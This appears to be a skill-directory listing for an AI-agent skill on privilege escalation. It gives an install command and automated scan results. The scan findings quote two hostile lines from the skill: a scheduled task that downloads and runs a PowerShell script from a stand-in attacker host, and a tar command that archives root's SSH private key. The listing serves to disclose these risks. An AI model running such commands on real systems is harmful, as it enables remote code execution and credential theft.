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Privilege Escalation Methods

Listed
xfstudio·vlatest·security

This skill provides a comprehensive list of privilege escalation techniques and exploits, useful for security researchers & penetration testers.

Repository

Install on your platform

Showing Claude Code. One command installs this skill into any of the agents below.

Installs under a different name. Its SKILL.md names it Privilege Escalation Methods, not the name it is listed under, so the command below uses that name.
  1. 1

    Run this in your project

    terminal
    $ npx skills add xfstudio/skills --skill "Privilege Escalation Methods" -a claude-code

  2. Uses the open-source skills CLI and needs Node.js. Add -g to install it for your user instead of this project.

What we know about this skill

Publisher

xfstudio

Taken from the source listing. We haven't verified who controls this account.

Install target

Live repository

Not pinned. Installing fetches whatever the repository holds at the time you run the command.

No human has reviewed this code. The checks below are a static scan of the files at one commit — nobody has run this skill or judged whether it works. A skill runs with whatever access you give your agent, so read the source before you install it.

Automated safety checks

scanned

This skill failed 2 of 6 checks. A failure is not proof of bad intent; it means something in the code needs a human to look at it before you run it.

  • No obfuscated payloads: failed

    Contains 1 obfuscated or encoded payload pattern.

    No base64, hex or compressed blob is decoded and then executed, and no encoded shell commands.

    What it found

    • privilege-escalation-methods/SKILL.md:211downloaded string passed to Invoke-Expression
      /TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"

  • No credential access: failed

    Touches credential material in 1 place.

    Neither the code nor the SKILL.md instructions read SSH keys, cloud credentials, keychains, token stores, browser cookie databases or dotfiles that hold secrets.

    What it found

    • privilege-escalation-methods/SKILL.md:83SSH private keys or config
      /usr/bin/tar -cvf key.tar /root/.ssh/id_rsa

  • Declares what it does: passed

    SKILL.md parses and declares a name and a description.

    SKILL.md exists, its frontmatter parses, and it declares a name and a description.

  • No undeclared network calls: passed

    Makes no network calls.

    Every host the skill dials — from its scripts, its config endpoints or the commands it tells the agent to run — is either well-known package and API infrastructure or declared in its own frontmatter. Links in documentation are not counted.

  • No pipe-to-shell installers: passed

    No pipe-to-shell or download-and-run installers.

    No `curl … | sh` pattern, in the code or in the instructions, that runs code fetched at run time.

  • Pinned to a commit: passed

    Scanned xfstudio/skills at 1bf6044db2.

    The exact upstream commit SHA that was scanned is recorded, so the result refers to specific bytes.

Commit
1bf6044db2
Manifest
privilege-escalation-methods/SKILL.md
Scanned
1 file, 294 lines
This is a static scan, not a review. It reads the skill's files; it does not run them, and it cannot tell you whether the skill is any good or whether the code does what its description says. A skill runs with whatever access you give your agent.
What each check looks for →

About this skill

What it does

This skill provides information and techniques related to privilege escalation. It details methods for gaining higher-level access rights within a system, often used in cybersecurity assessments and penetration testing scenarios. The skill aims to educate users on potential vulnerabilities and how they can be exploited (or mitigated).

When to use it

  • Security Audits: To understand common privilege escalation attack vectors when assessing system security posture.
  • Penetration Testing: As a resource for simulating attacks and identifying weaknesses in access controls.
  • Red Teaming Exercises: To develop realistic scenarios involving privilege escalation attempts.
  • Vulnerability Research: For exploring potential exploits related to user rights and permissions.

Key capabilities

  • Provides details on various privilege escalation methods.
  • Offers insights into the underlying principles of privilege elevation.
  • Supports understanding attack vectors in cybersecurity contexts.

Example prompts

  • "Explain how a kernel exploit can lead to privilege escalation."
  • "What are some common techniques used for escalating privileges through misconfigured SUID binaries?"
  • "Describe the process of privilege escalation via DLL hijacking."

Tips & gotchas

This skill is intended for educational and security testing purposes only. Misuse or unauthorized application of these techniques can have serious legal consequences. A strong understanding of system administration and cybersecurity principles is recommended before utilizing this information.